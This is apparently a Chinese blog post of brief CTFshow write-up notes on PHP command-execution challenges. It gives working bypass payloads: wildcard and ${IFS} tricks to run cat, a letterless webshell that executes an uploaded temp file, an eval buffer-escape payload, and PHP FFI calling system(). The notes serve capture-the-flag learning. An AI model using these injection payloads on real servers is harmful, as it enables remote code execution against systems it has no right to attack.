CTFshow命令执行

web40

方法1:

get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
read_file()、highlight_file()和show_source()读出源码

scandir()          :函数返回指定目录中的文件和目录的数组。(获取目录下的文件)
print_r()            :函数用于打印变量,以更容易理解的形式展示。
localeconv()     :函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."
current()           :函数返回数组中的当前元素的值。别名是 pos(),默认第一个值
array_reverse():函数将原数组中的元素顺序翻转,创建新的数组并返回。(数组逆序)
next()               :函数将数组内部指针指向数组下一个元素并输出

 

 

 web42

1是标准输出   2是错误输出

2>/dev/null  
意思就是把错误输出到“黑洞”

>/dev/null  2>&1
默认情况是1,也就是等同于1>/dev/null  2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”
要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞

因为是url传过去的,所以要记得用url编码,不然没有回显(切记对&&等表示两个参数的分隔符用url编码,不然没有回显)

比如?c=ls&&ls       (&&要进行url编码)

web54

1.没过滤rev函数,该函数是文件里面按字节逆序输出

c=rev${IFS}f???????

2.不能直接用cat,但是可以在cat路径里找到他,再用?模糊匹配

c=/bin/c??${IFS}f???????

web55

屏蔽了大小写字母,解题方法是无字母webshell

这是构造的前端代码,是一个文件上传的表单

复制代码
 1 <!DOCTYPE html>
 2 <html lang="en">
 3 <head>
 4 </head>
 5 <body>
 6 <form action="http://46b4f31d-1edf-45b7-88be-fc4f03cf3e41.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">//这里改一下
 7     <label for="file">文件名:</label>
 8     <input type="file" name="file" id="file"><br>
 9     <input type="submit" name="submit" value="提交">
10 </form>
11 </body>
12 </html>
复制代码

 PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6(或者8个)个字符是随机的大小写字母。最后一个字母大写(也有可能不是)

由于没过滤小数点,我们可以用小数点执行上传的sh文件

c=.%20/???/????????[@-[]                            [@-[]匹配@到[之间的字母,因为大写字母在这之间

web57

 看题目 告诉你flag在36.php里

然后 看传入的参数就是要输入36即可

shell中$(())表示运算,默认为0

$((    ~$(())    )) 取反后是-1,这里取反为啥是-1建议百度

同理

$((   $((    ~$(())    ))  $((    ~$(())    ))   ))  就是-2

$((    $((    ~$(())    ))*37 )) 就是-37

$((   ~$((    $((    ~$(())    ))*37 )) ))就是36

web59

方法有很多种

highlight_file() (目录可以用glob看)

show_source();

这两个都是一样的,语法高亮显示,包括内容

c=highlight_file('flag.php');

web66

glob:// — 查找匹配的文件路径模式

scandir()获取目录文件

glob://伪协议需要结合其他函数方法才能列目录,单纯传参glob://是没办法列目录的。

web68

include和require能执行文件中的代码,因为flag不是php代码,所以只能以文本的形式显示

web71

复制代码
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
复制代码

我们可以执行php代码让后面的匹配缓冲区不执行直接退出 payload:c=include('/flag.txt');exit(0);

web77

FFI扩展已经通过RFC,正式成为PHP 7.4核心扩展。

什么是FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

FFI的使用非常简单,只用声明和调用两步就可以

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

 

posted @   地主老财  阅读(159)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
点击右上角即可分享
微信分享提示